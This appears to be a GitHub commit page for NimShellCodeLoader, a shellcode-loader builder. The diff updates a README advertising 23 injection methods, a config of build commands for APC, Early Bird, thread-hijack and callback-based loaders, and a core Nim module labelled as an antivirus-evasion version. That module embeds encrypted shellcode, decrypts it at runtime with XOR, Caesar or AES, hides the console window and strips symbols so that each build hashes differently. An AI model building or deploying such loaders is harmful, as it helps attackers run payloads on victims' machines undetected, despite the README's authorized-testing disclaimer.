Skip to content

Commit 8351e7f

Browse files
committed
Refactor: Restructure folders, fix typos, and add AES256/XOR encryption
1 parent c848acd commit 8351e7f

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

54 files changed

+635
-978
lines changed

.gitignore

Lines changed: 25 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,30 @@
1-
# Created by https://www.toptal.com/developers/gitignore/api/nim
2-
# Edit at https://www.toptal.com/developers/gitignore?templates=nim
3-
41
### Nim ###
52
nimcache/
63
nimblecache/
74
htmldocs/
8-
.idea/
5+
bin/*
6+
# 保留 bin 目录结构但忽略内容(配合你添加的 .gitkeep)
7+
!bin/.gitkeep
8+
9+
### Build/Binary ###
910
*.exe
10-
codeLoader/codeLoader/bin
11-
codeLoader/codeLoader/obj
12-
codeLoader/.vs
13-
# End of https://www.toptal.com/developers/gitignore/api/nim
11+
*.dll
12+
*.7z
13+
*.o
14+
*.obj
15+
16+
### IDE / Visual Studio ###
17+
.idea/
18+
.vs/
19+
*.user
20+
*.suo
21+
*.userosscache
22+
*.sln.docstates
23+
24+
### Specific Project ignores ###
25+
# 之前的 gui/codeLoader/bin/ 等已经被上面的规则涵盖了,可以精简
26+
# 但保留特定配置以防万一
27+
gui/codeLoader/bin/
28+
gui/codeLoader/obj/
29+
gui/codeLoader/config
30+
*.rc

Compiler.ini

Lines changed: 0 additions & 24 deletions
This file was deleted.

Direct_Load.nim

Lines changed: 0 additions & 20 deletions
This file was deleted.

README.md

Lines changed: 25 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,8 @@
99

1010
## 更新:
1111

12+
**20260211:项目重构,增加aes和xor加密方式**
13+
1214
**20231228:图标自定义功能**
1315

1416
**20230826:支持nim的v2.0版本,去除base64编码,减小文件生成体积**
@@ -21,38 +23,48 @@
2123

2224
## 特点:
2325

24-
1:自带四种加载方式
26+
1:自带23种加载方式
2527

2628
2:可自行拓展加载方式
2729

28-
3:支持两种加密技术,分别位`3des`加密和凯撒密码,密钥随机,每次生成文件拥有不同hash
30+
3:支持三种加密技术,分别为凯撒密码、`AES`加密和异或加密,密钥随机,每次生成文件拥有不同hash
2931

3032
4:图标可以自定义
3133

3234
<h3 style="color: red;">仅限用于技术研究和获得正式授权的测试活动。</h3>
3335

3436
## 文件组成:
3537

36-
**`bin` 中存放生成的可执行文件**
38+
**`bin/` 存放生成的可执行文件**
39+
40+
**`loaders/` 存放所有shellcode加载器实现文件**
41+
42+
**`encryption/` 存放加密算法实现文件(AES、Caesar、XOR)**
43+
44+
**`core/` 存放核心公共模块(public.nim)**
3745

38-
**`encryption` 存放加密代码文件**
46+
**`gui/` 存放C#图形界面程序**
47+
48+
**`config/` 存放配置文件(Compiler.ini)**
49+
50+
**`pic/` 存放文档图片资源**
3951

4052
![file](pic/file.png)
4153

42-
## 安装
54+
## 安装和使用
4355

4456
**1、安装`nim`最新版**
4557
-[下载页面](https://nim-lang.org/install_windows.html),分别下载nim的安装包和编译器mingw64,将两者解压到任意目录,分别将两个文件夹里面的bin文件夹路径添加到path环境变量中
4658
- 打开命令行,输入nim回车,输入gcc或g++回车,返回正常即可之后正常使用nim来编译程序
47-
- 需要安装[winim](https://github.com/khchen/winim)
48-
49-
**2、下载本项目,分别编译`encryption`中的`Tdea.nim``Caesar.nim`**
5059

51-
`nim c -d:release -d:strip --opt:size Tdea.nim`
60+
**2、下载安装依赖。**
5261

53-
`nim c -d:release -d:strip --opt:size Caesar.nim`
62+
```
63+
nimble install nimcrypto
64+
nimble install winim
65+
```
5466

55-
**3、编译c#项目,将可执行文件放到当前目录**
67+
**3、[Release](https://github.com/aeverj/NimShellCodeLoader/releases)下载,运行根目录`codeLoader.exe`**
5668

5769
## 使用方法:
5870

@@ -96,8 +108,8 @@ https://github.com/S4R1N/AlternativeShellcodeExec
96108

97109
- [x] 添加图标自定义功能
98110

99-
- [ ] 增加更多的加载方式
111+
- [x] 增加更多的加载方式
100112

101113
- [ ] 增加反沙箱等功能
102114

103-
- [ ] 增加加密方式
115+
- [x] 增加加密方式

bin/.gitkeep

Whitespace-only changes.

config/Compiler.ini

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
[compile]
2+
OEP Hijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\OEP_Hijack_Inject_Load.nim
3+
Thread Hijack-Inject Load=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\Thread_Hijack_Inject_Load.nim
4+
APC-Inject Load=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\APC_Inject_Load.nim
5+
Early Bird APC-Inject Load=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\Early_Bird_APC_Inject_Load.nim
6+
Direct Load=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\Direct_Load.nim
7+
CreateThreadPoolWait Load=nim c -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\Thread_Pool_Wait.nim
8+
Fiber Load=nim c -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\Fiber_Load.nim
9+
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CertEnumSystemStore.nim
10+
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CertEnumSystemStoreLocation.nim
11+
CopyFile2-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CopyFile2.nim
12+
CopyFileEx-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CopyFileEx.nim
13+
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CreateTimerQueueTimer_Tech.nim
14+
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\CryptEnumOIDInfo.nim
15+
EnumChildWindows-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumChildWindows.nim
16+
EnumDesktopW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumDesktopW.nim
17+
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumDesktopWindows.nim
18+
EnumDirTreeW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumDirTreeW.nim
19+
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumDisplayMonitors.nim
20+
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumFontFamiliesExW.nim
21+
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumFontFamiliesW.nim
22+
EnumFontsW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumFontsW.nim
23+
EnumLanguageGroupLocalesW-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumLanguageGroupLocalesW.nim
24+
EnumObjects-ACE=nim cpp -d:<encrypt> <ico> -d:release -d:source="<source>" -o:.\bin\ -f loaders\EnumObjects.nim

core/public.nim

Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
## Nim ShellCode Loader - 免杀版本
2+
## 强制使用 XOR 加密
3+
4+
{.passL: "-static".}
5+
{.passL: "-Wl,--no-insert-timestamp".}
6+
{.passL: "-Wl,--strip-all".}
7+
{.passL: "-s".} # strip 符号表
8+
{.passL: "-mwindows".} # GUI 模式(隐藏控制台)
9+
{.passC: "-Os".} # 优化体积
10+
11+
import strutils
12+
13+
# ============================================================================
14+
# 全局变量
15+
# ============================================================================
16+
17+
const source {.strdefine.}: string = ""
18+
var code* {.exportc.}: cstring
19+
var codelen* {.exportc.}: cint = 0
20+
21+
# ============================================================================
22+
# XOR 加密/解密
23+
# ============================================================================
24+
25+
when defined(XOR):
26+
# 生成加密文件
27+
const encryptedFilePathRaw = staticExec(
28+
"nim r --hints:off ../encryption/Xor.nim " & source)
29+
const encryptedFilePath = block:
30+
let lines = encryptedFilePathRaw.splitLines()
31+
var result = ""
32+
for line in lines:
33+
let trimmed = line.strip()
34+
if trimmed.len > 0 and (trimmed.startsWith("C:\\") or
35+
trimmed.startsWith("/")):
36+
result = trimmed
37+
result
38+
39+
when encryptedFilePath == "":
40+
{.error: "Failed to generate XOR encrypted file. Output: " & encryptedFilePathRaw.}
41+
42+
# 加载加密数据(编译时)
43+
const encryptedDataConst = staticRead(encryptedFilePath)
44+
45+
# 运行时解密和初始化
46+
proc initXorShellcode() =
47+
# 计算payload长度
48+
let payloadLen = encryptedDataConst.len - 16
49+
50+
# 分配内存并复制数据
51+
var buffer = newString(payloadLen)
52+
for i in 0..<payloadLen:
53+
buffer[i] = encryptedDataConst[16 + i]
54+
55+
# 解密(直接操作buffer)
56+
let bufferPtr = cast[ptr UncheckedArray[byte]](addr buffer[0])
57+
for i in 0..<payloadLen:
58+
bufferPtr[i] = bufferPtr[i] xor encryptedDataConst[i mod 16].byte
59+
60+
# 设置全局变量
61+
code = cstring(buffer)
62+
codelen = cast[cint](payloadLen)
63+
64+
initXorShellcode()
65+
66+
# ============================================================================
67+
# Caesar 解密
68+
# ============================================================================
69+
70+
elif defined(Caesar):
71+
import sequtils
72+
73+
# 生成加密文件
74+
const encryptedFilePathRaw = staticExec(
75+
"nim r --hints:off ../encryption/Caesar.nim " & source)
76+
const encryptedFilePath = encryptedFilePathRaw.splitLines()[^1].strip()
77+
78+
# 加载加密数据
79+
const encryptedDataConst = staticRead(encryptedFilePath)
80+
81+
proc initCaesarShellcode() =
82+
let encryptedData = encryptedDataConst
83+
let dictionary = encryptedData[0..255].mapIt(it.byte)
84+
let encryptedTable = encryptedData[256..high(encryptedData)].mapIt(it.byte)
85+
var temp: string = ""
86+
temp.setLen(encryptedTable.len)
87+
88+
for round in 0..254:
89+
for idx in 0..high(encryptedTable):
90+
temp[idx] = cast[cchar](dictionary[encryptedTable[idx]])
91+
92+
code = cstring(temp)
93+
codelen = cast[cint](encryptedTable.len)
94+
95+
initCaesarShellcode()
96+
97+
# ============================================================================
98+
# AES-256-CTR 解密
99+
# ============================================================================
100+
101+
elif defined(AES):
102+
import nimcrypto
103+
104+
# 生成加密文件
105+
const encryptedFilePathRaw = staticExec(
106+
"nim r --hints:off ../encryption/Aes256Ctr.nim " & source)
107+
const encryptedFilePath = encryptedFilePathRaw.splitLines()[^1].strip()
108+
109+
# 加载加密数据
110+
const encryptedDataConst = staticRead(encryptedFilePath)
111+
112+
proc initAesShellcode() =
113+
let encryptedData = encryptedDataConst
114+
const envKey: string = "TARGETDOMAIN"
115+
var
116+
dctx: CTR[aes256]
117+
key: array[aes256.sizeKey, byte]
118+
iv: array[aes256.sizeBlock, byte]
119+
120+
for i in 0..15:
121+
iv[i] = encryptedData[i].byte
122+
123+
let encryptedTextLen = encryptedData.len - 16
124+
var encryptedText = newSeq[byte](encryptedTextLen)
125+
var decryptedText = newSeq[byte](encryptedTextLen)
126+
127+
for i in 0 ..< encryptedTextLen:
128+
encryptedText[i] = encryptedData[i + 16].byte
129+
130+
var expandedKey = sha256.digest(envKey)
131+
copyMem(addr key[0], addr expandedKey.data[0], len(expandedKey.data))
132+
133+
dctx.init(key, iv)
134+
dctx.decrypt(encryptedText, decryptedText)
135+
dctx.clear()
136+
137+
code = cast[cstring](alloc0(encryptedTextLen))
138+
copyMem(code, addr decryptedText[0], encryptedTextLen)
139+
codelen = cast[cint](encryptedTextLen)
140+
141+
initAesShellcode()
142+
143+
# ============================================================================
144+
# 无加密(直接读取)
145+
# ============================================================================
146+
147+
else:
148+
# 直接读取shellcode(未加密)
149+
const shellcodeDataConst = staticRead(source)
150+
151+
proc initPlainShellcode() =
152+
var temp: string = shellcodeDataConst
153+
code = cstring(temp)
154+
codelen = cast[cint](shellcodeDataConst.len)
155+
156+
initPlainShellcode()
157+
158+
# ============================================================================
159+
# Windows 图标嵌入
160+
# ============================================================================
161+
162+
when defined(gcc) and defined(windows) and defined(icoPath):
163+
import strformat, os
164+
const icoPath {.strdefine.}: string = ""
165+
166+
static:
167+
const rcName = getTempDir() / "demo.rc"
168+
const iconObject = getTempDir() / "demo_icon.o"
169+
170+
assert(icoPath != "", "Icon file path not set!")
171+
assert(fileExists(icoPath), &"Icon file does not exist: {icoPath}")
172+
173+
const resourceText = &"1 ICON \"{icoPath}\""
174+
writeFile(rcName, resourceText)
175+
assert(fileExists(rcName), &"Failed to generate resource file: {rcName}")
176+
177+
when defined(x86):
178+
{.link: "demo.res".}
179+
else:
180+
const windresCmd = "cmd /c \"windres -i " & rcName & " -o " & iconObject & "\""
181+
discard staticExec(windresCmd & " 2>&1")
182+
assert(fileExists(iconObject),
183+
&"Failed to generate object file: {iconObject}\n" &
184+
"Check: ICO format valid? windres in PATH?")
185+
{.link: iconObject.}

0 commit comments

Comments
 (0)